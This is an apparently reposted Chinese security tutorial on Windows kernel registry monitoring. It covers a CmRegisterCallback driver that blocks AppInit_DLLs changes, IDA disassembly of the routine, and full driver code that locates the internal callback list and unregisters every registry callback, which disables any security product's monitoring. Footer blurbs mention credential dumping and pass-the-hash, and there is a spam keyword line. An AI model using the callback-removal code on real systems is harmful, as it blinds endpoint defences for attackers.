<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    通過CmRegisterCallback學習注冊表監控與反注冊表監控

    VSole2021-11-16 16:24:43

    簡介

    實驗環境是Win7 X86系統。

    曾經在這篇文章中常見的幾種DLL注入技術說過,通過修改注冊表的內容可以實現AppInit_DLLs注入。那么本文的實驗是通過CmRegisterCallback來實現對注冊表修改的監控以此來阻止修改。并通過對CmRegisterCallback的逆向分析來實現對監控函數的刪除。

    注冊表監控

    在Windows系統中,可以通過使用CmRegisterCallback來設置注冊表監控的回調函數,該函數在文檔中的定義如下:

    NTSTATUS  CmRegisterCallback(    IN PEX_CALLBACK_FUNCTION  Function,    IN PVOID  Context,    OUT PLARGE_INTEGER  Cookie     );
    

    PEX_CALLBACK_FUNCTION回調函數在文檔中的定義如下,該函數的返回值為STATUS_SUCCESS之外的錯誤碼的時候,則表示系統會拒絕操作相應的注冊表。

    NTSTATUS   RegistryCallback(    __in PVOID  CallbackContext,    __in_opt PVOID  Argument1,    __in_opt PVOID  Argument2     );
    

    其中的REG_NOTIFY_CLASS定義如下:

    typedef enum _REG_NOTIFY_CLASS {    RegNtDeleteKey,    RegNtPreDeleteKey = RegNtDeleteKey,    RegNtSetValueKey,    RegNtPreSetValueKey = RegNtSetValueKey,    RegNtDeleteValueKey,    RegNtPreDeleteValueKey = RegNtDeleteValueKey,    RegNtSetInformationKey,    RegNtPreSetInformationKey = RegNtSetInformationKey,    RegNtRenameKey,    RegNtPreRenameKey = RegNtRenameKey,    RegNtEnumerateKey,    RegNtPreEnumerateKey = RegNtEnumerateKey,    RegNtEnumerateValueKey,    RegNtPreEnumerateValueKey = RegNtEnumerateValueKey,    RegNtQueryKey,    RegNtPreQueryKey = RegNtQueryKey,    RegNtQueryValueKey,    RegNtPreQueryValueKey = RegNtQueryValueKey,    RegNtQueryMultipleValueKey,    RegNtPreQueryMultipleValueKey = RegNtQueryMultipleValueKey,    RegNtPreCreateKey,    RegNtPostCreateKey,    RegNtPreOpenKey,    RegNtPostOpenKey,    RegNtKeyHandleClose,    RegNtPreKeyHandleClose = RegNtKeyHandleClose,    //    // .Net only    //        RegNtPostDeleteKey,    RegNtPostSetValueKey,    RegNtPostDeleteValueKey,    RegNtPostSetInformationKey,    RegNtPostRenameKey,    RegNtPostEnumerateKey,    RegNtPostEnumerateValueKey,    RegNtPostQueryKey,    RegNtPostQueryValueKey,    RegNtPostQueryMultipleValueKey,    RegNtPostKeyHandleClose,    RegNtPreCreateKeyEx,    RegNtPostCreateKeyEx,    RegNtPreOpenKeyEx,    RegNtPostOpenKeyEx,    //    // new to Windows Vista    //    RegNtPreFlushKey,    RegNtPostFlushKey,    RegNtPreLoadKey,    RegNtPostLoadKey,    RegNtPreUnLoadKey,    RegNtPostUnLoadKey,    RegNtPreQueryKeySecurity,    RegNtPostQueryKeySecurity,    RegNtPreSetKeySecurity,    RegNtPostSetKeySecurity,    //    // per-object context cleanup    //    RegNtCallbackObjectContextCleanup,    //    // new in Vista SP2     //    RegNtPreRestoreKey,    RegNtPostRestoreKey,    RegNtPreSaveKey,    RegNtPostSaveKey,    RegNtPreReplaceKey,    RegNtPostReplaceKey,     MaxRegNtNotifyClass //should always be the last enum} REG_NOTIFY_CLASS;
    

    其中的幾個比較常用的類型,它們的意義,以及對應的Argument2的結構體的內容如下:

    PREG_CREATE_KEY_INFORMATION結構體定義如下:

    typedef struct _REG_CREATE_KEY_INFORMATION {    PUNICODE_STRING     CompleteName; // IN    PVOID               RootObject;   // IN    PVOID               ObjectType;   // new to Windows Vista    ULONG               CreateOptions;// new to Windows Vista    PUNICODE_STRING     Class;        // new to Windows Vista    PVOID               SecurityDescriptor;// new to Windows Vista    PVOID               SecurityQualityOfService;// new to Windows Vista    ACCESS_MASK         DesiredAccess;// new to Windows Vista    ACCESS_MASK         GrantedAccess;// new to Windows Vista                                        // to be filled in by callbacks                                       // when bypassing native code    PULONG              Disposition;  // new to Windows Vista                                      // on pass through, callback should fill                                       // in disposition    PVOID               *ResultObject;// new to Windows Vista                                      // on pass through, callback should return                                       // object to be used for the return handle    PVOID               CallContext;  // new to Windows Vista    PVOID               RootObjectContext;  // new to Windows Vista    PVOID               Transaction;  // new to Windows Vista    PVOID               Reserved;     // new to Windows Vista} REG_CREATE_KEY_INFORMATION, REG_OPEN_KEY_INFORMATION,*PREG_CREATE_KEY_INFORMATION, *PREG_OPEN_KEY_INFORMATION;
    

    關鍵的兩個成員:

    PREG_DELETE_KEY_INFORMATION的結構體定義如下:

    typedef struct _REG_DELETE_KEY_INFORMATION {    PVOID    Object;                      // IN    PVOID    CallContext;  // new to Windows Vista    PVOID    ObjectContext;// new to Windows Vista    PVOID    Reserved;     // new to Windows Vista} REG_DELETE_KEY_INFORMATION, *PREG_DELETE_KEY_INFORMATION
    

    成員Object指向要刪除的注冊表項的注冊表項對象的指針。

    PREG_DELETE_VALUE_KEY_INFORMATION結構體定義如下:

    typedef struct _REG_DELETE_KEY_INFORMATION {    PVOID    Object;                      // IN    PVOID    CallContext;  // new to Windows Vista    PVOID    ObjectContext;// new to Windows Vista    PVOID    Reserved;     // new to Windows Vista} REG_DELETE_KEY_INFORMATION, *PREG_DELETE_KEY_INFORMATION
    

    PREG_SET_VALUE_KEY_INFORMATION結構體定義如下:

    typedef struct _REG_SET_VALUE_KEY_INFORMATION {    PVOID               Object;                         // IN    PUNICODE_STRING     ValueName;                      // IN    ULONG               TitleIndex;                     // IN    ULONG               Type;                           // IN    PVOID               Data;                           // IN    ULONG               DataSize;                       // IN    PVOID               CallContext;  // new to Windows Vista    PVOID               ObjectContext;// new to Windows Vista    PVOID               Reserved;     // new to Windows Vista} REG_SET_VALUE_KEY_INFORMATION, *PREG_SET_VALUE_KEY_INFORMATION;
    

    根據上面的內容可以知道,回調函數中是可以獲取要操作的注冊表鍵的對象的,所以可以使用ObQueryNameString函數來獲得鍵操作的鍵的名稱,該函數在文檔中的定義如下:

    NTSTATUS  ObQueryNameString(    IN PVOID  Object,    OUT POBJECT_NAME_INFORMATION  ObjectNameInfo,    IN ULONG  Length,    OUT PULONG  ReturnLength    );
    

    OBJECT_NAME_INFORMATION的定義如下:

    typedef struct _OBJECT_NAME_INFORMATION {    UNICODE_STRING Name;} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;
    

    只有一個UNICODE_STRING的Name參數,保存了返回的名稱。

    想要實現對監控函數的刪除,可以使用CmUnRegisterCallback函數來實現,該函數在文檔中的定義如下。它只有一個參數,就是前面設置監控函數時候指定的Cookie的地址。

    NTSTATUS  CmUnRegisterCallback(    IN LARGE_INTEGER  Cookie);
    

    根據上面的內容就可以實現對注冊表的監控來拒絕AppInit_DLLs的注入,具體實現代碼如下:

    #include  VOID DriverUnload(IN PDRIVER_OBJECT driverObject);// 未導出函數聲明PUCHAR PsGetProcessImageFileName(PEPROCESS pEProcess);    //根據EPROCESS獲取進程名稱NTSTATUS ObQueryNameString(PVOID Object, POBJECT_NAME_INFORMATION ObjectNameInfo, ULONG Length, PULONG ReturnLength);   //根據對象獲取名稱NTSTATUS RegistryCallback(__in PVOID  CallbackContext, __in_opt PVOID  Argument1, __in_opt PVOID  Argument2);   //回調函數BOOLEAN GetRegisterPath(PUNICODE_STRING pRegPath, PVOID pRegObj);   //獲取注冊表的完整路徑//注冊表回調使用的CookieLARGE_INTEGER g_liRegCookie; NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath){    NTSTATUS status = STATUS_SUCCESS;         status = CmRegisterCallback(RegistryCallback, NULL, &g_liRegCookie);    if (!NT_SUCCESS(status))    {        DbgPrint("回調函數設置失敗 0x%X\r", status);    }    else    {        DbgPrint("回調函數設置成功\r");    }exit:    driverObject->DriverUnload = DriverUnload;    return STATUS_SUCCESS;} NTSTATUS RegistryCallback(__in PVOID  CallbackContext, __in_opt PVOID  Argument1, __in_opt PVOID  Argument2){    NTSTATUS status = STATUS_SUCCESS;    UNICODE_STRING uStrRegPath = { 0 };    //保存注冊表完整路徑    // 保存操作碼的類型    REG_NOTIFY_CLASS uOpCode = (REG_NOTIFY_CLASS)Argument1;    // 保存當前操作注冊表的進程EPROCESS    PEPROCESS pEProcess = NULL;    PUCHAR pProcName = NULL;    BOOLEAN bNeedProtected = FALSE;    PWCHAR pValue = NULL;     pEProcess = PsGetCurrentProcess();    if (pEProcess != NULL)    {        pProcName = PsGetProcessImageFileName(pEProcess);    }     // 申請內存用來保存注冊表路徑    uStrRegPath.Length = 0;    uStrRegPath.MaximumLength = 1024 * sizeof(WCHAR);    uStrRegPath.Buffer = (PWCHAR)ExAllocatePool(NonPagedPool, uStrRegPath.MaximumLength);     if (uStrRegPath.Buffer == NULL)    {        DbgPrint("ExAllocatePool Error");        goto exit;    }     RtlZeroMemory(uStrRegPath.Buffer, uStrRegPath.MaximumLength);     switch (uOpCode)    {        // 創建注冊表之前        case RegNtPreCreateKey:        {            if (!GetRegisterPath(&uStrRegPath, ((PREG_CREATE_KEY_INFORMATION)Argument2)->RootObject))            {                DbgPrint("獲取注冊表路徑失敗\r");            }            // 顯示            // DbgPrint("[RegNtPreCreateKey][%wZ][%wZ]", &uStrRegPath, ((PREG_CREATE_KEY_INFORMATION)Argument2)->CompleteName);            break;        }        // 打開注冊表之前        case RegNtPreOpenKey:        {            if (!GetRegisterPath(&uStrRegPath, ((PREG_CREATE_KEY_INFORMATION)Argument2)->RootObject))            {                DbgPrint("獲取注冊表路徑失敗\r");            }            // 顯示            // DbgPrint("[RegNtPreOpenKey][%wZ][%wZ]", &uStrRegPath, ((PREG_CREATE_KEY_INFORMATION)Argument2)->CompleteName);            break;        }        // 修改鍵值之前        case RegNtPreSetValueKey:        {            if (!GetRegisterPath(&uStrRegPath, ((PREG_SET_VALUE_KEY_INFORMATION)Argument2)->Object))            {                DbgPrint("獲取注冊表路徑失敗\r");            }                         pValue = ((PREG_SET_VALUE_KEY_INFORMATION)Argument2)->ValueName->Buffer;            //判斷是否需要保護            if (wcsstr(pValue, L"AppInit_DLLs") || wcsstr(pValue, L"LoadAppInit_DLLs"))             {                DbgPrint("[RegNtPreSetValueKey][%wZ][%ws]\r", &uStrRegPath, pValue);                if (pProcName) DbgPrint("進程:%s試圖修改注冊表,攔截成功\r", pProcName);                status = STATUS_ACCESS_DENIED;    //對操作進行攔截            }            break;        }        default:        {            break;        }    } exit:    if (uStrRegPath.Buffer)    {        ExFreePool(uStrRegPath.Buffer);        uStrRegPath.Buffer = NULL;    }    return status;} BOOLEAN GetRegisterPath(PUNICODE_STRING pRegPath, PVOID pRegObj){    NTSTATUS status = STATUS_SUCCESS;    BOOLEAN bRet = TRUE;    ULONG uSize = 0, uRetLength = 0;    PVOID pRegName = NULL;       if (!MmIsAddressValid(pRegObj) || pRegPath == NULL)    {        bRet = FALSE;        goto exit;    }     uSize = 512;    pRegName = ExAllocatePool(NonPagedPool, uSize);    if (pRegName == NULL)    {        DbgPrint("ExAllocatePool Error\r");        bRet = FALSE;        goto exit;    }     //根據注冊表對象獲取注冊表路徑    status = ObQueryNameString(pRegObj, (POBJECT_NAME_INFORMATION)pRegName, uSize, &uRetLength);    if (!NT_SUCCESS(status))    {        if (pRegName) ExFreePool(pRegName);        DbgPrint("ObQueryNameString Error 0x%X\r", status);        bRet = FALSE;        goto exit;    }     //將獲得的路徑拷貝到目標地址    RtlCopyUnicodeString(pRegPath, (PUNICODE_STRING)pRegName);     exit:    if (pRegName) ExFreePool(pRegName);    return bRet;} VOID DriverUnload(IN PDRIVER_OBJECT driverObject){    NTSTATUS status = STATUS_SUCCESS;     if (g_liRegCookie.QuadPart > 0)    {        status = CmUnRegisterCallback(g_liRegCookie);        if (!NT_SUCCESS(status))        {            DbgPrint("刪除回調函數失敗0x%X\r", status);        }        else        {            DbgPrint("刪除回調函數成功\r");        }    }    DbgPrint("驅動卸載完成\r");}
    

    逆向分析CmRegisterCallback

    接下來通過IDA分析CmRegisterCallback來看看是如何保存注冊表的回調函數。IDA中對CmRegisterCallback的反匯編如下:

    PAGE:0069E3EE ; NTSTATUS __stdcall CmRegisterCallback(PEX_CALLBACK_FUNCTION Function, PVOID Context, PLARGE_INTEGER Cookie)PAGE:0069E3EE                 public CmRegisterCallbackPAGE:0069E3EE CmRegisterCallback proc nearPAGE:0069E3EEPAGE:0069E3EE Function        = dword ptr  8PAGE:0069E3EE Context         = dword ptr  0ChPAGE:0069E3EE Cookie          = dword ptr  10hPAGE:0069E3EEPAGE:0069E3EE                 mov     edi, ediPAGE:0069E3F0                 push    ebpPAGE:0069E3F1                 mov     ebp, espPAGE:0069E3F3                 push    [ebp+Cookie]PAGE:0069E3F6                 mov     eax, offset Init_Data ; 將Init_Data的地址賦給eaxPAGE:0069E3FB                 push    1PAGE:0069E3FD                 push    [ebp+Context]PAGE:0069E400                 push    [ebp+Function]PAGE:0069E403                 call    CmCRegisterCallbackPAGE:0069E408                 pop     ebpPAGE:0069E409                 retn    0ChPAGE:0069E409 CmRegisterCallback endp
    

    這個函數做了兩件事情,將Init_Data的賦值賦給eax,將需要的參數入棧以后調用CmCRegisterCallback函數。經過分析以后發現,這個Init_Data是用來賦值一些數據,不過在這里用處不大,入棧的1也是。

    繼續看CmCRegisterCallback的反匯編代碼:

    PAGE:0069E417 CmCRegisterCallback proc near           ; CODE XREF: CmRegisterCallbackEx+2C↑pPAGE:0069E417                                         ; CmRegisterCallback+15↑pPAGE:0069E417PAGE:0069E417 RegFunc         = dword ptr  8PAGE:0069E417 Context         = dword ptr  0ChPAGE:0069E417 arg_one         = dword ptr  10hPAGE:0069E417 arg_Cookie      = dword ptr  14hPAGE:0069E417PAGE:0069E417                 mov     edi, ediPAGE:0069E419                 push    ebpPAGE:0069E41A                 mov     ebp, espPAGE:0069E41C                 push    ecxPAGE:0069E41D                 push    ebxPAGE:0069E41E                 mov     ebx, [ebp+arg_Cookie] ; 注意這里將Cookie的地址賦給ebxPAGE:0069E421                 push    esiPAGE:0069E422                 push    ediPAGE:0069E423                 push    'bcMC'          ; TagPAGE:0069E428                 push    30h             ; NumberOfBytesPAGE:0069E42A                 push    PagedPool       ; PoolTypePAGE:0069E42C                 mov     edi, eax        ; 將結構體賦給ediPAGE:0069E42E                 call    ExAllocatePoolWithTagPAGE:0069E433                 mov     esi, eax        ; 申請到得內存地址賦給esiPAGE:0069E435                 test    esi, esiPAGE:0069E437                 jnz     short loc_69E443 ; 將前向指針和后向指針指向自己PAGE:0069E439                 mov     eax, STATUS_INSUFFICIENT_RESOURCESPAGE:0069E43E                 jmp     loc_69E4CDPAGE:0069E443 ; ---------------------------------------------------------------------------PAGE:0069E443PAGE:0069E443 loc_69E443:                             ; CODE XREF: CmCRegisterCallback+20↑jPAGE:0069E443                 mov     [esi+LIST_ENTRY.Blink], esi ; 將前向指針和后向指針指向自己PAGE:0069E446                 mov     [esi+LIST_ENTRY.Flink], esi ; 這里可以知道申請到的地址前8位是個LIST_ENTRYPAGE:0069E448                 lea     eax, [esi+28h]PAGE:0069E44B                 mov     [eax+4], eaxPAGE:0069E44E                 mov     [eax], eaxPAGE:0069E450                 mov     eax, [ebp+Context]PAGE:0069E453                 and     dword ptr [esi+8], 0PAGE:0069E457                 mov     [esi+18h], eax  ; 申請得內存偏移0x18得地方保存ContextPAGE:0069E45A                 mov     eax, [ebp+RegFunc]PAGE:0069E45D                 mov     [esi+1Ch], eax  ; 申請到的地址偏移0x1C的地方保存回調函數PAGE:0069E460                 movzx   eax, word ptr [edi]PAGE:0069E463                 mov     [esi+22h], axPAGE:0069E467                 mov     [esi+20h], axPAGE:0069E46B                 movzx   eax, word ptr [edi]PAGE:0069E46E                 push    'acMC'          ; TagPAGE:0069E473                 push    eax             ; NumberOfBytesPAGE:0069E474                 push    PagedPool       ; PoolTypePAGE:0069E476                 call    ExAllocatePoolWithTagPAGE:0069E47B                 mov     [esi+24h], eaxPAGE:0069E47E                 test    eax, eaxPAGE:0069E480                 jnz     short loc_69E489PAGE:0069E482                 mov     edi, STATUS_INSUFFICIENT_RESOURCESPAGE:0069E487                 jmp     short loc_69E4B4PAGE:0069E489 ; ---------------------------------------------------------------------------PAGE:0069E489PAGE:0069E489 loc_69E489:                             ; CODE XREF: CmCRegisterCallback+69↑jPAGE:0069E489                 movzx   ecx, word ptr [edi]PAGE:0069E48C                 push    ecxPAGE:0069E48D                 push    dword ptr [edi+4]PAGE:0069E490                 push    eaxPAGE:0069E491                 call    memcpyPAGE:0069E496                 add     esp, 0ChPAGE:0069E499                 push    [ebp+arg_one]PAGE:0069E49C                 mov     eax, esi        ; 申請到的地址賦給eaxPAGE:0069E49E                 call    SetRegisterCallBackPAGE:0069E4A3                 mov     edi, eaxPAGE:0069E4A5                 mov     eax, [esi+10h]  ; 將申請到的內存偏移0x14的內容放入eaxPAGE:0069E4A8                 mov     [ebx], eax      ; 此時ebx是Cookie的地址,賦值前4位PAGE:0069E4AA                 mov     eax, [esi+14h]  ; 這兩句就是賦值后4位,因為一個COOKIE占8位PAGE:0069E4AD                 mov     [ebx+4], eax    ; 根據這四句就可以知道,esi偏移0x10的地址存放的就是CookiePAGE:0069E4B0                 test    edi, ediPAGE:0069E4B2                 jge     short loc_69E4CBPAGE:0069E4B4PAGE:0069E4B4 loc_69E4B4:                             ; CODE XREF: CmCRegisterCallback+70↑jPAGE:0069E4B4                 mov     eax, [esi+24h]PAGE:0069E4B7                 test    eax, eaxPAGE:0069E4B9                 jz      short loc_69E4C3PAGE:0069E4BB                 push    0               ; TagPAGE:0069E4BD                 push    eax             ; PPAGE:0069E4BE                 call    ExFreePoolWithTagPAGE:0069E4C3PAGE:0069E4C3 loc_69E4C3:                             ; CODE XREF: CmCRegisterCallback+A2↑jPAGE:0069E4C3                 push    0               ; TagPAGE:0069E4C5                 push    esi             ; PPAGE:0069E4C6                 call    ExFreePoolWithTagPAGE:0069E4CBPAGE:0069E4CB loc_69E4CB:                             ; CODE XREF: CmCRegisterCallback+9B↑jPAGE:0069E4CB                 mov     eax, ediPAGE:0069E4CDPAGE:0069E4CD loc_69E4CD:                             ; CODE XREF: CmCRegisterCallback+27↑jPAGE:0069E4CD                 pop     ediPAGE:0069E4CE                 pop     esiPAGE:0069E4CF                 pop     ebxPAGE:0069E4D0                 pop     ecxPAGE:0069E4D1                 pop     ebpPAGE:0069E4D2                 retn    10hPAGE:0069E4D2 CmCRegisterCallback endp
    

    可以看到,系統分配0x30大小的內存來保存相應的內容,根據以上的分析可以得出下面的結論:

    • 最開始的8個字節保存的是一個LIST_ENTRY類型的雙向鏈表
    • 偏移0x10保存的是COOKIE
    • 偏移0x1C保存的Context
    • 偏移0x18保存的是回調函數的地址

    所以可以想到注冊表監控的回調函數是用LIST_ENTRY雙向鏈表來一個個連起來的。而真正將分配的這塊內存加入鏈表的函數則是SetRegisterCallback函數,以下是這個函數的反匯編分析:

    PAGE:0069F34D SetRegisterCallBack proc near           ; CODE XREF: CmCRegisterCallback+87↑pPAGE:0069F34DPAGE:0069F34D var_4           = dword ptr -4PAGE:0069F34D arg_One         = byte ptr  8PAGE:0069F34DPAGE:0069F34D                 mov     edi, ediPAGE:0069F34F                 push    ebpPAGE:0069F350                 mov     ebp, espPAGE:0069F352                 push    ecxPAGE:0069F353                 push    ecxPAGE:0069F354                 and     [ebp+var_4], 0PAGE:0069F358                 push    ebxPAGE:0069F359                 push    esiPAGE:0069F35A                 mov     esi, eax        ; 申請到的地址賦給esiPAGE:0069F35C                 mov     eax, large fs:124hPAGE:0069F362                 dec     word ptr [eax+84h]PAGE:0069F369                 push    ediPAGE:0069F36A                 mov     ecx, offset unk_56925CPAGE:0069F36F                 mov     eax, ecxPAGE:0069F371                 lock bts dword ptr [eax], 0PAGE:0069F376                 jnb     short loc_69F37DPAGE:0069F378                 call    ExfAcquirePushLockExclusivePAGE:0069F37DPAGE:0069F37D loc_69F37D:                             ; CODE XREF: SetRegisterCallBack+29↑jPAGE:0069F37D                 add     dword ptr CurrentTime, 1PAGE:0069F384                 mov     eax, dword ptr CurrentTimePAGE:0069F389                 mov     ebx, offset ListBegin ; ListBegin就是這個鏈表的首地址PAGE:0069F389                                         ; 這里將鏈表頭地址賦給ebxPAGE:0069F38E                 adc     dword ptr CurrentTime+4, 0PAGE:0069F395                 mov     [esi+10h], eax  ; 前面說過esi偏移0x10的地方保存的是CookiePAGE:0069F395                                         ; 所以這里就是在初始化cookiePAGE:0069F398                 mov     eax, dword ptr CurrentTime+4PAGE:0069F39D                 mov     [esi+14h], eaxPAGE:0069F3A0                 mov     edi, ListBegin  ; 將ListBegin中保存的內容賦給ediPAGE:0069F3A6                 cmp     edi, ebx        ; 判斷edi的值是不是ListBegin的地址,如果是則跳轉到增加鏈表的代碼PAGE:0069F3A6                                         ; 由此可以知道鏈表的最后一個結構體的指向的下一個成員是ListBeginPAGE:0069F3A8                 jz      short loc_69F3DE
    

    在這個ListBegin就是鏈表頭的地址,里面保存的就是第一個鏈表的地址。首先會將它保存的內容取出判斷保存的是否就是ListBegin的首地址。

    如果是的話就說明到了鏈表的尾部,接下來就會跳轉到loc_69F3DE來把結構加進鏈表。如果不是的話,它會執行以下的循環,其中的一部分是:

    PAGE:0069F3AA loc_69F3AA:                             ; CODE XREF: SetRegisterCallBack+7D↓jPAGE:0069F3AA                 lea     eax, [esi+20h]PAGE:0069F3AD                 push    eaxPAGE:0069F3AE                 lea     eax, [edi+20h]PAGE:0069F3B1                 push    eaxPAGE:0069F3B2                 call    RtlCompareAltitudesPAGE:0069F3B7                 test    eax, eaxPAGE:0069F3B9                 jnz     short loc_69F3C4PAGE:0069F3BB                 cmp     [ebp+arg_One], alPAGE:0069F3BE                 jnz     short loc_69F3C6 PAGE:0069F3C0                 jmp     short loc_69F3D5PAGE:0069F3C2 ; ---------------------------------------------------------------------------PAGE:0069F3C2                 jmp     short loc_69F3C6 PAGE:0069F3C4 ; ---------------------------------------------------------------------------PAGE:0069F3C4PAGE:0069F3C4 loc_69F3C4:                             ; CODE XREF: SetRegisterCallBack+6C↑jPAGE:0069F3C4                 jl      short loc_69F3CCPAGE:0069F3C6PAGE:0069F3C6 loc_69F3C6:                             ; CODE XREF: SetRegisterCallBack+71↑jPAGE:0069F3C6                                         ; SetRegisterCallBack+75↑jPAGE:0069F3C6                 mov     edi, [edi+LIST_ENTRY.Flink] ; 繼續取下一個結構的地址PAGE:0069F3C8                 cmp     edi, ebx        ; 判斷是否到鏈表頭了,不是的話跳上去繼續找下一個PAGE:0069F3C8                                         ; 這部分代碼就是在將edi移到鏈表的尾部PAGE:0069F3CA                 jnz     short loc_69F3AA
    

    這個循環就是不斷的取鏈表中的下一個數據直到鏈表尾。

    找到以后,程序就會在loc_69F3DE處把數據加到鏈表里面:

    PAGE:0069F3DE loc_69F3DE:                             ; CODE XREF: SetRegisterCallBack+5B↑jPAGE:0069F3DE                                         ; SetRegisterCallBack+81↑j ...PAGE:0069F3DE                 mov     eax, [edi+LIST_ENTRY.Blink]PAGE:0069F3E1                 mov     ecx, [eax+LIST_ENTRY.Flink]PAGE:0069F3E3                 mov     [esi+LIST_ENTRY.Flink], ecxPAGE:0069F3E5                 mov     [esi+LIST_ENTRY.Blink], eaxPAGE:0069F3E8                 mov     [ecx+LIST_ENTRY.Blink], esiPAGE:0069F3EB                 xor     ecx, ecxPAGE:0069F3ED                 mov     [eax+LIST_ENTRY.Flink], esi
    

    反注冊表監控

    根據上面分析可以知道,注冊表的監控回調函數被以鏈表的形式保存到了內存中,其中這個鏈表頭是ListBegin。接下來只要找到這個鏈表頭并且遍歷這個鏈表,取出COOKIE就可以實現回調函數的刪除。

    而想要找到這個鏈表頭,首先需要在CmRegisterCallback中使用0xE8找到CmcRegisterCallback:

    隨后需要在CmCRegisterCallback中使用0x8BC6E8找到SetRegisterCallback:

    最終才在SetRegisterCallback中使用0xBB找到這個鏈表頭。

    找到鏈表頭,就可以遍歷鏈表查看所有的注冊表監控的數據。并且在偏移0x10的地方,保存了COOKIE的數據,就可以使用它來刪除回調。具體代碼如下:

    #include  VOID DriverUnload(IN PDRIVER_OBJECT driverObject);PULONG GetRegisterList(); NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath){    NTSTATUS status = STATUS_SUCCESS;    PULONG pHead = NULL;    PLIST_ENTRY pListEntry = NULL;    PLARGE_INTEGER  pLiRegCookie = NULL;    LARGE_INTEGER test;    PULONG pFuncAddr = NULL;     DbgPrint("驅動加載完成\r");    pHead = GetRegisterList();    if (pHead != NULL)    {        pListEntry = (PLIST_ENTRY)*pHead;                 while ((ULONG)pListEntry != (ULONG)pHead)        {            if (!MmIsAddressValid(pListEntry)) break;                         pLiRegCookie = (PLARGE_INTEGER)((ULONG)pListEntry + 0x10);            pFuncAddr = (PULONG)((ULONG)pListEntry + 0x1C);            //判斷地址是否有效            if (MmIsAddressValid(pFuncAddr) &&  MmIsAddressValid(pLiRegCookie))            {                status = CmUnRegisterCallback(*pLiRegCookie);                if (NT_SUCCESS(status))                {                    DbgPrint("刪除注冊表回調成功,函數地址為0x%X\r", *pFuncAddr);                }            }            pListEntry = pListEntry->Flink;        }    } exit:    driverObject->DriverUnload = DriverUnload;    return STATUS_SUCCESS;} PULONG GetRegisterList(){    PULONG pListEntry = NULL;    PUCHAR pCmRegFunc = NULL, pCmcRegFunc = NULL, pSetRegFunc = NULL;    UNICODE_STRING uStrFuncName = RTL_CONSTANT_STRING(L"CmRegisterCallback");     pCmRegFunc = (PUCHAR)MmGetSystemRoutineAddress(&uStrFuncName);     if (pCmRegFunc == NULL)    {        DbgPrint("MmGetSystemRoutineAddress Error\r");        goto exit;    }         while (*pCmRegFunc != 0xC2)    {        if (*pCmRegFunc == 0xE8)        {            pCmcRegFunc = (PUCHAR)((ULONG)pCmRegFunc + 5 + *(PULONG)(pCmRegFunc + 1));            break;        }        pCmRegFunc++;    }         if (pCmcRegFunc == NULL)    {        DbgPrint("GetCmcRegFunc Error\r");        goto exit;    }     while (*pCmcRegFunc != 0xC2)    {        if (*pCmcRegFunc == 0x8B && *(pCmcRegFunc +1) == 0xC6 && *(pCmcRegFunc + 2) == 0xE8)        {            pSetRegFunc = (PUCHAR)((ULONG)pCmcRegFunc + 2 + 5 + *(PULONG)(pCmcRegFunc + 3));            break;        }        pCmcRegFunc++;    }     if (pSetRegFunc == NULL)    {        DbgPrint("GetSetRegFunc Error\r");        goto exit;    }     while (*pSetRegFunc != 0xC2)    {        if (*pSetRegFunc == 0xBB)        {            pListEntry = (PULONG)*(PULONG)(pSetRegFunc + 1);            break;        }        pSetRegFunc++;    }exit:    return pListEntry;} VOID DriverUnload(IN PDRIVER_OBJECT driverObject){    DbgPrint("驅動卸載完成\r");}
    

    實驗結果

    當沒有開啟注冊表監控的時候,可以順利的對注冊表進行修改:

    而開啟監控以后,對注冊表的修改就會被攔截下來:

    而當刪除監控以后,又可以成功對注冊表進行修改:

    注冊表dword
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在win2012以前的操作系統版本下,由于WDigest將明文儲存到lsass進程中,可以抓取明文密碼。
    代碼框架 想法是盡量用一個通用的注入框架,有異常接收,令牌權限開啟,獲取進程PID的功能
    mimikatz的這個功能從本質上是解析Windows的數據庫文件,從而獲取其中存儲的用戶哈希。
    簡介實驗環境是Win7 X86系統。曾經在這篇文章中常見的幾種DLL注入技術說過,通過修改注冊表的內容可以實現AppInit_DLLs注入。那么本文的實驗是通過CmRegisterCallback來實現對注冊表修改的監控以此來阻止修改。并通過對CmRegisterCallback的逆向分析來實現對監控函數的刪除。
    注冊表在我們的計算機里面,有一些程序是可以設置成開機自啟的,這種程序一般都是采用往注冊表里面添加鍵值指向自己的程序路徑來實現開機自啟在windows里面開機自啟的注冊表路徑如下//用戶級。
    進來之后,我們就可以在攻擊機上面控制win7靶機了,先查看開放的端口有沒有3389.3、命令行打開3389遠程連接端口netstat -an. 顯示successful,再次確認查看遠程連接端口是否開啟:netstat -an|find "3389". 現在分別講講各自的用法吧:5.1、xfreerdp工具①首先是xfreerdp的,命令格式如下:很容易理解,/u就是用戶名,/p是密碼,/v是靶機(目標)的地址 /size就是圖形化界面的大小而已。輸入y按下回車,等待界面出現5.2、xfreerdp工具②然后是rdesktop,命令格式很簡單:rdesktop 192.168.25.132
    很多人把這個原因歸結于KB2871997補丁,實際上不然,這個事情的成因實際是UAC在搗亂。RID為500的賬戶和屬于本地administrators組的域用戶在通過網絡遠程鏈接時,默認就是高權限令牌。
    如果找到了某個用戶的ntlm hash,就可以拿這個ntlm hash當作憑證進行遠程登陸了 其中若hash加密方式是 rc4 ,那么就是pass the hash 若加密方式是aes key,那么就是pass the key 注意NTLM和kerberos協議均存在PTH: NTLM自然不用多說 kerberos協議也是基于用戶的client hash開始一步步認證的,自然也會受PTH
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类